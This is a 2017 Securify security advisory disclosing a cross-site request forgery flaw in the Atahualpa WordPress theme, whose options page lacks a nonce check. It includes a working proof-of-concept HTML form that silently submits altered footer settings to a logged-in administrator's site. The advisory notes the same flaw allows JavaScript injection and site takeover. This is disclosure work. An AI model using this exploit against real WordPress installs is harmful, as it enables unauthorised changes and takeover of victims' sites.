Security Bughunt

2017 - August - Amsterdam

2017 Target - IoT


#sumofpwn
Go to all WP advisories

Spyros Gasteratos - Securify, March 2017

Cross-Site Request Forgery in Atahualpa WordPress Theme

Abstract

A Cross Site Request Forgery vulnerability exists in the Atahualpa Wordpress theme which allows attackers to legitimate users into performing unintended actions on the Atahualpa theme configuration page.

Contact

For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage

This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID

OVE-20160724-0003

Tested versions

This issue was successfully tested on Atahualpa WordPress Theme WordPress Theme.

Fix

There is currently no fix available.

Introduction


Atahualpa v3.7.24 has it's own Theme Options page where administrators can set various options including changing the page's appearance or injecting Javascript. The save button of this page doesn't include a CSRF nonce token which gives attacker the ability to trick Wordpress administrators into setting settings the attacker controls.

Details

The theme's save configuration settings form doesn't include a Wordpress CSRF nonce and consequently the script servicing the request doesn't check for one. This allows the form to be submitted with preloaded values as long as the browser sends a valid login cookie.

This allows attackers who lure legitimate users with an active Wordpress session to an irrelevant website which submits the "Save Settings" request to the user's Wordpress install. Since the request is towards a domain for which the browser has cookies the legitimate cookies will be submitted and the request will succeed.

The theme's configuration panel allows setting a variety of configuration options including changes in the website's appearance as well as appending Javascript in several areas. Attackers can use this vulnerability to take over a Wordpress website.

Proof of concept

Install the theme, login as admin and load the following csrf poc in the same browser on another tab, when clicking "Submit" it will modify the page footer.

<html>

   <body>

      <form action="http://<target>/wp-admin/themes.php?page=atahualpa-options" method="POST">

         <input type="hidden" name="footer_style" value="background&#45;color&#58;&#32;&#35;ffffff&#59;&#13;&#10;border&#45;top&#58;&#32;dashed&#32;1px&#32;&#35;cccccc&#59;&#13;&#10;padding&#58;&#32;10000px&#59;&#13;&#10;text&#45;align&#58;&#32;center&#59;&#13;&#10;color&#58;&#32;&#35;777777&#59;&#13;&#10;font&#45;size&#58;&#32;95&#37;&#59;&#13;&#10;&#47;&#42;bye&#42;&#47;"/>

         <input type="hidden" name="footer_style_links" value="text&#45;decoration&#58;&#32;none&#59;&#13;&#10;color&#58;&#32;&#35;777777&#59;&#13;&#10;font&#45;weight&#58;&#32;normal&#59;"/>

         <input type="hidden" name="footer_style_links_hover" value="text&#45;decoration&#58;&#32;none&#59;&#13;&#10;color&#58;&#32;&#35;777777&#59;&#13;&#10;font&#45;weight&#58;&#32;normal&#59;"/>

         <input type="hidden" name="footer_style_content" value="Copyright&#32;&amp;copy&#59;&#32;&#37;current&#45;year&#37;&#32;&#37;home&#37;&#32;&#45;&#32;All&#32;Rights&#32;Reserved"/>

         <input type="hidden" name="full_width_footer" value="No"/>

         <input type="hidden" name="sticky_layout_footer" value="No"/>

         <input type="hidden" name="footer_show_queries" value="No"/>

         <input type="hidden" name="save" value=""/>

         <input type="hidden" name="action" value="save"/>

         <input type="hidden" name="category" value="footer&#45;style"/>

         <input type="submit" value="Submit"/>

      </form>

   </body>

</html>